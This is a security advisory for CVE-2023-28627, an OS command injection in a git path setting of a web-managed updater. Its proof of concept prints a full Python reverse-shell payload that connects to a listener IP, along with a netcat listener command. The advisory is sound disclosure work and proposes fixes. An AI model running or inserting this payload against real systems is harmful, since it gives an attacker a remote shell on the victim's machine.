Skip to content

OS Command Injection via GIT_PATH

High
medariox published GHSA-6589-x6f5-cgg9 Mar 25, 2023

Package

github_updater.py

Affected versions

< 1.0.11

Patched versions

1.0.12

Description

Summary

An attacker with access to the web interface can update the git executable path in /config/general/ > advanced settings with arbitrary OS commands.

PoC

This is a reverse shell to the IP address 192.168.1.191 on port 8896. To test, start a netcat listener with nc -lvnp 8896 and update the command below to the IP address of the listener.

$(python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.191",8896));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')

pic of reverse shell in action

Impact

Thankfully not many of these are exposed to the internet, but those that are will allow an attacker to take control of their system.

Fix

From a brief examination, I think change_GIT_PATH in config.py could be modified to disallow special characters besides directory separators and also to ensure that the entry contains the string 'git', but I haven't fully explored the code.

Additionally, a username/password combination could be 'forced' upon users upon installation, which would reduce the number of instances that haven't enabled username/password authentication.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

CVE ID

CVE-2023-28627

Weaknesses

Credits